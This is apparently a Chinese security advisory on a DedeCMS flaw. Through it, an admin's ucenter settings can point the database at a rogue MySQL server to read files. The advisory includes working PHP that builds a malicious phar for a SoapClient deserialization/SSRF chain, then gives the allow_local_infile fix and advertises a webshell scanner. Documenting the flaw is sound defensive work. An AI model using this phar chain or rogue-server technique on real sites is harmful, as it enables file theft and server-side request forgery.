dedecms的后臺存在ucenter功能,可以直接修改ucenter的配置,使網(wǎng)站的mysql連接。指向我們預先構造的rogue mysql server https://github.com/Gifts/Rogue-MySql-Server.git
設置之后我們就可以通過修改惡意服務端的設置來讀取任意文件。 假如讀取的文件路徑是以phar協(xié)議開頭的,那么讀取的文件內(nèi)容就會被反序列化。 根據(jù)dedecms的代碼,我們可以利用soapclient內(nèi)置類來構造反序列化pop鏈來ssrf。
<?php class Control { var $tpl; public $dsql; function __construct(){ $this->dsql = new SoapClient(null,array('uri'=>'http://test:5555', 'location'=>'http://test:5555/aaa')); } } @unlink("dedecms.phar"); $phar = new Phar("dedecms.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new Control(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?> |
解決方案:
臨時解決方案
通過mysqli_options設置鏈接時禁用allow_local_infile配置可阻止該漏洞。
或在php.ini中改配置為mysqli.allow_local_infile = Off
推薦D盾—WEB查看工具:
軟件使用自行研發(fā)不分擴展名的代碼分析引擎,能分析更為隱藏的WebShell后門行為。
引擎特別針對,一句話后門,變量函數(shù)后門,${}執(zhí)行 ,`執(zhí)行,
preg_replace執(zhí)行,call_user_func,file_put_contents,fputs 等特殊函數(shù)
的參數(shù)進行針對性的識別,能查殺更為隱藏的后門,
并把可疑的參數(shù)信息展現(xiàn)在你面前,讓你能更快速的了解后門的情況
新版特別針對 dedecms 的{dede:php}{/dede:php}代碼加入了識別!
軟件加入隔離功能,并且可以還原!
如有不能識別的webshell請使用上傳樣本功能上傳給我們,我們將后期加入識別!
下載:http://www.d99net.net/down/WebShellKill_V1.4.1.zip